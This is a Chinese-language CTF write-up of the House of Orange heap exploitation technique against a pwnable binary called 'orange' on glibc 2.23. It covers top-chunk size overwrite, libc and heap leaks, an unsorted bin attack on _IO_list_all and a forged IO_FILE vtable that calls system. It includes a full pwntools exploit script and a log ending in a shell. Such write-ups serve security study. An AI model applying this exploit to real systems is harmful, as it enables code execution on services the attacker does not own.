重新学习一下house of orange。

Reversing

二进制文件在这里:orange

程序保护机制全开,可以add, show, edit。涉及的结构体:

1
2
3
4
5
6
7
8
9
struct house{
8bytes struct orange * p;
8bytes char * name;
}

struct orange{
4bytes int price;
4bytes int color;
}

限制了add和edit的次数,每次只能edit最新的。

  • show : 打印信息
  • edit : 没有限制长度,造成堆溢出

由于保护全开,一般的想法是改malloc_hook或者free_hook,但是问题在于没有free功能所以没有bin。

House of orange

利用条件:

  • libc和heap地址已知
  • 可以unsorted bin attack
  • 足够空间伪造IO_FILE

get unsortedbin with sysmalloc

不能直接free chunk,可以通过sysmalloc。

调用链:_init_mallocsysmalloc_init_free

具体做法:

  • 覆盖top chunk size为一个比较小的值,要求top chunk end页对齐,一般size = old_size&0xfff(取低三位)
  • 申请一个超过top chunk size的块,但要小于0x20000
  • 此时top chunk会被加入到unsortedbin

这样,再申请一个large chunk就可以泄露堆地址和libc地址了:

1
2
3
4
5
0x55715a8960c0:	0x0000000000000000	0x0000000000000611
0x55715a8960d0: 0x6161616161616161 0x00007ff9e554d188 <= libc
0x55715a8960e0: 0x000055715a8960c0 0x000055715a8960c0 <= heap
0x55715a8960f0: 0x0000000000000000 0x0000000000000000
0x55715a896100: 0x0000000000000000 0x0000000000000000

由于没有read没有加截断,可以通过name=8*‘a’泄露libc,name=0x10*‘a’泄露堆地址。

目前的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
    add(0x10, 'a', 1, 1)
'''
0x55a77d8e2030: 0x0000000000000a61 0x0000000000000000
0x55a77d8e2040: 0x0000000000000000 0x0000000000000021
0x55a77d8e2050: 0x0000001f00000001 0x0000000000000000
0x55a77d8e2060: 0x0000000000000000 0x0000000000020fa1 <= top chunk size
'''
pl = p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x50, pl, 1, 1) # top chunk size->0xfa1
add(0xff0, 'b', 1, 1) # top chunk move into unsortedbin
add(0x600, 8*'a', 1, 1) # large chunk
pause()
show()
p.recvuntil('Name of house : '+8*'a')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
main_arena = leak-1640
libc_addr = main_arena-0x3c4b20
log.info('main_arena: '+hex(main_arena))
log.info('libc_addr: '+hex(libc_addr))
edit(0x600, 0x10*'a', 1, 1)
show()
p.recvuntil('Name of house : '+0x10*'a')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
heap = leak-0xc0
log.info('heap: '+hex(heap))

getshell with fake IO_FILE

我们先理解一下为什么IO_FILE可以getshell,利用链是怎样的。

整体的调用链:

malloc_printerr__libc_messageabortfflush(_IO_flush_all_lockp) ⇒ vtable ⇒ some check ⇒ _IO_OVERFLOW (fp, EOF)

其中_IO_OVERFLOW是一个结构体中的一个函数指针,如果我们能够将其覆盖为system,fd指向一个binsh的字符串,就可以getshell了。

现在我们具体说一下这个链。

最开始牵头的是_IO_list_all。这是一个结构体指针:

1
extern struct _IO_FILE_plus *_IO_list_all;

看一下_IO_FILE_plus:

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

_IO_FILE类型的结构体和一个_IO_jump_t类型的vtable指针构成。分别看一下这两个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain; /* offset 0x68 (64bits) */

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE //开始宏判断(这段判断结果为否,所以没有定义_IO_FILE_complete,下面还是_IO_FILE)
};

struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif //结束宏判断
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 //依然是_IO_FILE的内容
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
# endif
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

这段定义只需要注意最开始的那些base和ptr,以及后面的_mode即可。

看一下vtable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

注意到其中第四个:_IO_overflow_t,是我们要覆盖的指针。

在调试的时候,通过fpchain指令可以列出所有用_chain连起来的IO_FILE结构体,例如:

1
2
pwndbg> fpchain
fpchain: 0x7ff9e554d540 --> 0x7ff9e554d620 --> 0x7ff9e554c8e0 --> 0x0

通过fp指令可以看出IO_FILE结构体具体的成员的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pwndbg> fp 0x7ff9e554c8e0
$1 = {
file = {
_flags = -72540021,
_IO_read_ptr = 0x7ff9e554c963 <_IO_2_1_stdin_+131> "",
_IO_read_end = 0x7ff9e554c963 <_IO_2_1_stdin_+131> "",
_IO_read_base = 0x7ff9e554c963 <_IO_2_1_stdin_+131> "",
_IO_write_base = 0x7ff9e554c963 <_IO_2_1_stdin_+131> "",
_IO_write_ptr = 0x7ff9e554c963 <_IO_2_1_stdin_+131> "",
_IO_write_end = 0x7ff9e554c963 <_IO_2_1_stdin_+131> "",
_IO_buf_base = 0x7ff9e554c963 <_IO_2_1_stdin_+131> "",
_IO_buf_end = 0x7ff9e554c964 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x7ff9e554e790 <_IO_stdfile_0_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7ff9e554c9c0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ff9e554b6e0 <_IO_file_jumps>
}

看vtable的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p *((struct _IO_jump_t *)0x7ff9e554b6e0)
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ff9e52019c0 <_IO_new_file_finish>,
__overflow = 0x7ff9e5202730 <_IO_new_file_overflow>,
__underflow = 0x7ff9e52024a0 <_IO_new_file_underflow>,
__uflow = 0x7ff9e5203600 <__GI__IO_default_uflow>,
__pbackfail = 0x7ff9e5204980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ff9e52011e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7ff9e5200ec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ff9e52004c0 <_IO_new_file_seekoff>,
__seekpos = 0x7ff9e5203a00 <_IO_default_seekpos>,
__setbuf = 0x7ff9e5200430 <_IO_new_file_setbuf>,
__sync = 0x7ff9e5200370 <_IO_new_file_sync>,
__doallocate = 0x7ff9e51f5180 <__GI__IO_file_doallocate>,
__read = 0x7ff9e52011a0 <__GI__IO_file_read>,
__write = 0x7ff9e5200b70 <_IO_new_file_write>,
__seek = 0x7ff9e5200970 <__GI__IO_file_seek>,
__close = 0x7ff9e5200340 <__GI__IO_file_close>,
__stat = 0x7ff9e5200b60 <__GI__IO_file_stat>,
__showmanyc = 0x7ff9e5204af0 <_IO_default_showmanyc>,
__imbue = 0x7ff9e5204b00 <_IO_default_imbue>
}

现在可以理解:我们希望能够修改vtable指针,使得__overflow对应的是布置好的system。这样想办法触发malloc_printerr就可以getshell。重新看一下调用链:

malloc_printerr__libc_messageabortfflush(_IO_flush_all_lockp) ⇒ vtable ⇒ some check ⇒ _IO_OVERFLOW (fp, EOF)

直到check之前都没什注意的,看一下_IO_flush_all_lockp是怎么调用_IO_OVERFLOW的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int
_IO_flush_all_lockp (int do_lock)
{
......
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all; //_IO_list_all赋给fp
while (fp != NULL)
{
......

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//需要bypass的条件
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))//需要bypass的条件
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//改 _IO_OVERFLOW 为 system 劫持程序流!
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;//指向下一个fp(从main_arena到heap)
}
......
}

需要满足的check:

1
2
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base

1
2
3
_IO_vtable_offset (fp) == 0
fp->_mode > 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

相比较第一种的payload比较好构造。

如果选下面(orange的当时的做法),第一条我们难以构造,因为fp已经没法改动了;第三条需要构造_wide_data为一个满足条件的指针,比如将wide_dataIO_wirte_ptr指向read_end就可以了。*(_wide_data+0x20) > *(_wide_data+0x18)read_end > read_ptr

getshell的原理清楚了,那么如何开始攻击呢?

首先的问题是,如何把我们构造的fake IO_FILE链接到_IO_list_all中。IO_FILE是单链表的形式保存的,通过结构体中的_chain指针来串起来。一般来讲是_IO_list_all指到stderr指到stdout指到stdin。如果能够构造_chain指针就可以把fake IO_FILE串进来了。

当fopen一个新的文件时,先调用malloc分配结构体的空间,之后初始化结构体,再把结构体链入,打开文件

_IO_list_all指向fp,之后是stderr, stdout, stdin

unsortedbin attack

通过前面的sysmalloc我们拿到了一个unsortedbin,在unsortedbin取出的时候:

1
2
3
4
5
3685	          bck = victim->bk;//victim即我们的unsorted bin
...
3728 /* remove from unsorted list */
3729 unsorted_chunks (av)->bk = bck;
3730 bck->fd = unsorted_chunks (av); <= 任意地址写不可控值

这里并没有对fd bk检查,如果能够控制bk指针,就可以将unsorted_chunks (av)写入任意地址,也就是main_arena中的top:

1
2
3
4
5
6
static struct malloc_state main_arena =
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;//此地址将被写入_IO_list_all

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;

/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;

/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;

/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

typedef struct malloc_chunk *mfastbinptr;
typedef struct malloc_chunk* mchunkptr;

如果我们将bk=_IO_list_all-0x10,那么_IO_list_all就会指向main_arena这块区域了。

新的问题:main_arena的内容并不是我们能完全控制的。我们看一下修改之后对应的_chain指针是什么含义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/50gx 0x7ff9e554cb20
0x7ff9e554cb20 <main_arena>: 0x0000000100000000 0x0000000000000000
0x7ff9e554cb30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ff9e554cb40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ff9e554cb50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ff9e554cb60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ff9e554cb70 <main_arena+80>: 0x0000000000000000 0x000055715a8b8000 <= top
0x7ff9e554cb80 <main_arena+96>: 0x000055715a8966f0 0x000055715a8966f0
0x7ff9e554cb90 <main_arena+112>: 0x000055715a8966f0 0x00007ff9e554cb88
0x7ff9e554cba0 <main_arena+128>: 0x00007ff9e554cb88 0x00007ff9e554cb98
0x7ff9e554cbb0 <main_arena+144>: 0x00007ff9e554cb98 0x00007ff9e554cba8
0x7ff9e554cbc0 <main_arena+160>: 0x00007ff9e554cba8 0x00007ff9e554cbb8
0x7ff9e554cbd0 <main_arena+176>: 0x00007ff9e554cbb8 0x00007ff9e554cbc8
0x7ff9e554cbe0 <main_arena+192>: 0x00007ff9e554cbc8 0x00007ff9e554cbd8

_chain指针在_IO_list_all+0x68的位置。

对应:

1
2
3
4
5
6
7
+0x00 [       top        |  last_remainder   ] <= 现在_IO_list_all指向+0x00
+0x10 [ unsorted bin fd | unsorted bin bk ]
+0x20 [ smallbin 0x20 fd | smallbin 0x20 bk ]
+0x30 [ smallbin 0x30 fd | smallbin 0x30 bk ]
+0x40 [ smallbin 0x40 fd | smallbin 0x40 bk ]
+0x50 [ smallbin 0x50 fd | smallbin 0x50 bk ]
+0x60 [ smallbin 0x60 fd | smallbin 0x60 bk ] /* 0x68: _chain */

可以看到,unsortedbin attack之后,下一个IO_FILE结构体其实就是smallbin 0x60 bk指针指向的bin。

那么如何获得0x60的smallbin呢?

如果直接free小于0x80的chunk会直接进入到fastbin,所以直接通过free是不行的。

引用两个例子:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>

int main(void){
void *p = malloc(0x80);//创建一个大于0x80的chunk
malloc(0x10);//防止后面free时归入top chunk
free(p);//产生一个0x90的unsortedbin
malloc(0x20);//从0x90的unsortedbin中割去0x30,还剩一个0x60的unsortedbin
malloc(0x60);//malloc一个0x70的chunk,此时unsortedbin不够大,系统把此时的unsortedbin归类到smallbin下
return 0;
}
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>

int main(void){
void *p = malloc(0x50);
malloc(0x10);
free(p);//此时p为fastbin
malloc(0x3f0);//0x400 (large chunk)
return 0;//此时p为smallbin
}

我们通过第二种方法,先用之前的堆溢出修改unsortedbin的size为0x61,布置好fake IO_FILE之后,add一个large chunk,这样就会_chain就会指向我们的unsortedbin。由于smallchunk指针指的是包含chunk头的位置,所以从prev_size开始就是fake IO_FILE的内容了。

经过unsortedbin attack,其fd bk指针已经冲突,下次add时就会触发malloc_printerr,触发整个调用链。

由于main_arena里的_mode没有过check,所以走到下一个IO_FILE,也就是我们伪造的fake IO_FILE了。

Full exp

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
import sys

# context.terminal=["tmux", "sp", "-h"]
#context.log_level='debug'

DEBUG = False

LOCAL = True
BIN = './orange'
HOST = '127.0.0.1'
PORT = 1234

def add(size, name, price, color):
p.sendlineafter('Your choice : ', '1')
p.sendlineafter('Length of name :', str(size))
p.sendafter('Name :', name)
p.sendlineafter('Price of Orange:', str(price))
p.sendlineafter('Color of Orange:', str(color))

def show():
p.sendlineafter('Your choice : ', '2')

def edit(size, name, price, color):
p.sendlineafter('Your choice : ', '3')
p.sendlineafter('Length of name :', str(size))
p.sendafter('Name:', name)
p.sendlineafter('Price of Orange:', str(price))
p.sendlineafter('Color of Orange:', str(color))

def exploit(p):

add(0x10, 'a', 1, 1)
'''
0x55a77d8e2030: 0x0000000000000a61 0x0000000000000000
0x55a77d8e2040: 0x0000000000000000 0x0000000000000021
0x55a77d8e2050: 0x0000001f00000001 0x0000000000000000
0x55a77d8e2060: 0x0000000000000000 0x0000000000020fa1
'''
pl = p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x50, pl, 1, 1) # top chunk size->0xfa1
add(0xff0, 'b', 1, 1) # top chunk move into unsortedbin
add(0x600, 8*'a', 1, 1) # large chunk
#pause()
show()
p.recvuntil('Name of house : '+8*'a')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
main_arena = leak-1640
libc_addr = main_arena-0x3c4b20
log.info('main_arena: '+hex(main_arena))
log.info('libc_addr: '+hex(libc_addr))
edit(0x600, 0x10*'a', 1, 1)
show()
p.recvuntil('Name of house : '+0x10*'a')
leak = u64(p.recv(6).ljust(8, '\x00'))
log.info('leak: '+hex(leak))
heap = leak-0xc0
log.info('heap: '+hex(heap))

#fake io file
'''
pwndbg> parseheap
addr prev size status fd bk
0x55fd0c5ce000 0x0 0x20 Used None None
0x55fd0c5ce020 0x0 0x20 Used None None
0x55fd0c5ce040 0x0 0x20 Used None None
0x55fd0c5ce060 0x0 0x20 Used None None
0x55fd0c5ce080 0x0 0x20 Used None None
0x55fd0c5ce0a0 0x0 0x20 Used None None
0x55fd0c5ce0c0 0x0 0x610 Used None None <= current
0x55fd0c5ce6d0 0x0 0x20 Used None None <= info chunk
0x55fd0c5ce6f0 0x0 0x8f0 Freed 0x7fd9191feb78 0x7fd9191feb78 <= fake io file
0x55fd0c5cefe0 0x8f0 0x10 Used None None
0x55fd0c5ceff0 0x0 0x10 Freed 0x0 0x0
Corrupt ?! (size == 0) (0x55fd0c5cf000)
'''
#pl = 0x600*'a'+p64(0)+p64(0x21)+0x10*'a' # fill current chunk and info chunk
io_list_all = libc_addr+libc.sym['_IO_list_all']
system = libc_addr+libc.sym['system']
# bypass way1
fio = heap + 0x6f0 #0x5555557586f0-0x0000555555758000
pl = 0x600*'a'+p64(0)+p64(0x21)+p64(0)*2 # padding

fake = "/bin/sh\x00"+p64(0x61) # chunk head
fake += p64(0)+p64(io_list_all-0x10) # fd bk
fake += p64(0)+p64(1) # _IO_write_base < _IO_write_ptr
#fake =fake.ljust(0xa0,'\x00')+p64(fio+0x8) # _wide_data (no use here)
fake =fake.ljust(0xc0,'\x00')+p64(0) # _mode <= 0
fake = fake.ljust(0xd8, '\x00')
fake += p64(fio+0xd8-0x10) # vtable
fake += p64(system)
pl=pl+fake
#pause()
edit(0xfff, pl, 1, 1)
p.interactive()
''' fake io file, io_overflow(fp, null)
0x55e45475f6f0: fp => 0x0068732f6e69622f("/bin/sh\x00") 0x0000000000000061 <= fake smallbin size
0x55e45475f700: 0x0000000000000000 0x00007f09a64a6510 <= io_list_all-0x10
0x55e45475f710: 0x0000000000000000 <= write_base 0x0000000000000001 <= write_ptr
0x55e45475f720: 0x0000000000000000 0x0000000000000000
0x55e45475f730: 0x0000000000000000 0x0000000000000000
0x55e45475f740: 0x0000000000000000 0x0000000000000000
0x55e45475f750: 0x0000000000000000 0x0000000000000000
0x55e45475f760: 0x0000000000000000 0x0000000000000000
0x55e45475f770: 0x0000000000000000 0x0000000000000000
0x55e45475f780: 0x0000000000000000 0x0000000000000000
0x55e45475f790: 0x0000000000000000 0x0000000000000000
0x55e45475f7a0: 0x0000000000000000 0x0000000000000000
0x55e45475f7b0: 0x0000000000000000 <= mode(0) 0x0000000000000000 <= vtable start here
0x55e45475f7c0: 0x0000000000000000 0x000055e45475f7b8 <= vtable ptr
0x55e45475f7d0: 0x00007f09a6126390 <= io_overflow(system) 0x0000000000000000
0x55e45475f7e0: 0x0000000000000000 0x0000000000000000
0x55e45475f7f0: 0x0000000000000000 0x0000000000000000
'''
return

if __name__ == "__main__":
elf = ELF(BIN)
libc = elf.libc
if len(sys.argv) > 1:
LOCAL = False
p = remote(HOST, PORT)
exploit(p)
else:
LOCAL = True
p = process(BIN)
log.info('PID: ' + str(proc.pidof(p)[0]))
pause()
if DEBUG:
gdb.attach(p)
exploit(p)

效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
keenan@ubuntu:~/Desktop/pwnable/orange$ python exp.py 
[*] '/home/keenan/Desktop/pwnable/orange/orange'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './orange': pid 20489
[*] PID: 20489
[*] Paused (press any to continue)
[*] leak: 0x7f0c80e4a188
[*] main_arena: 0x7f0c80e49b20
[*] libc_addr: 0x7f0c80a85000
[*] leak: 0x5650b41510c0
[*] heap: 0x5650b4151000
[*] Switching to interactive mode
Finish
+++++++++++++++++++++++++++++++++++++
@ House of Orange @
+++++++++++++++++++++++++++++++++++++
1. Build the house
2. See the house
3. Upgrade the house
4. Give up
+++++++++++++++++++++++++++++++++++++
Your choice : $ 1
*** Error in `./orange': malloc(): memory corruption: 0x00007f0c80e4a520 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f0c80afc7e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f0c80b0713e]
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f0c80b09184]
./orange(+0xd6d)[0x5650b344fd6d]
./orange(+0x1402)[0x5650b3450402]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f0c80aa5830]
./orange(+0xb19)[0x5650b344fb19]
======= Memory map: ========
5650b344f000-5650b3452000 r-xp 00000000 08:01 2096940 /home/keenan/Desktop/pwnable/orange/orange
5650b3651000-5650b3652000 r--p 00002000 08:01 2096940 /home/keenan/Desktop/pwnable/orange/orange
5650b3652000-5650b3653000 rw-p 00003000 08:01 2096940 /home/keenan/Desktop/pwnable/orange/orange
5650b4151000-5650b4194000 rw-p 00000000 00:00 0 [heap]
7f0c7c000000-7f0c7c021000 rw-p 00000000 00:00 0
7f0c7c021000-7f0c80000000 ---p 00000000 00:00 0
7f0c8086f000-7f0c80885000 r-xp 00000000 08:01 790476 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f0c80885000-7f0c80a84000 ---p 00016000 08:01 790476 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f0c80a84000-7f0c80a85000 rw-p 00015000 08:01 790476 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f0c80a85000-7f0c80c45000 r-xp 00000000 08:01 790438 /lib/x86_64-linux-gnu/libc-2.23.so
7f0c80c45000-7f0c80e45000 ---p 001c0000 08:01 790438 /lib/x86_64-linux-gnu/libc-2.23.so
7f0c80e45000-7f0c80e49000 r--p 001c0000 08:01 790438 /lib/x86_64-linux-gnu/libc-2.23.so
7f0c80e49000-7f0c80e4b000 rw-p 001c4000 08:01 790438 /lib/x86_64-linux-gnu/libc-2.23.so
7f0c80e4b000-7f0c80e4f000 rw-p 00000000 00:00 0
7f0c80e4f000-7f0c80e75000 r-xp 00000000 08:01 790410 /lib/x86_64-linux-gnu/ld-2.23.so
7f0c81056000-7f0c81059000 rw-p 00000000 00:00 0
7f0c81073000-7f0c81074000 rw-p 00000000 00:00 0
7f0c81074000-7f0c81075000 r--p 00025000 08:01 790410 /lib/x86_64-linux-gnu/ld-2.23.so
7f0c81075000-7f0c81076000 rw-p 00026000 08:01 790410 /lib/x86_64-linux-gnu/ld-2.23.so
7f0c81076000-7f0c81077000 rw-p 00000000 00:00 0
7fff914da000-7fff914fb000 rw-p 00000000 00:00 0 [stack]
7fff915c5000-7fff915c8000 r--p 00000000 00:00 0 [vvar]
7fff915c8000-7fff915ca000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
$ ls
core exp.py orange
$

Unsortedbin attack之后的fake IO_FILE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> parseheap
addr prev size status fd bk
0x55fff18f1000 0x0 0x20 Used None None
0x55fff18f1020 0x0 0x20 Used None None
0x55fff18f1040 0x0 0x20 Used None None
0x55fff18f1060 0x0 0x20 Used None None
0x55fff18f1080 0x0 0x20 Used None None
0x55fff18f10a0 0x0 0x20 Used None None
0x55fff18f10c0 0x0 0x610 Used None None
0x55fff18f16d0 0x0 0x20 Used None None
0x55fff18f16f0 0x68732f6e69622f 0x60 Freed 0x0 0x7f61147bc510
Corrupt ?! (size == 0) (0x55fff18f1750)
pwndbg> fp 0x55fff18f16f0
$1 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x0,
_IO_read_base = 0x7f61147bc510 "",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x55fff18f17b8
}

Vtable:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> p *((struct _IO_jump_t *)0x55fff18f17b8)
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x55fff18f17b8,
__overflow = 0x7f611443c390 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
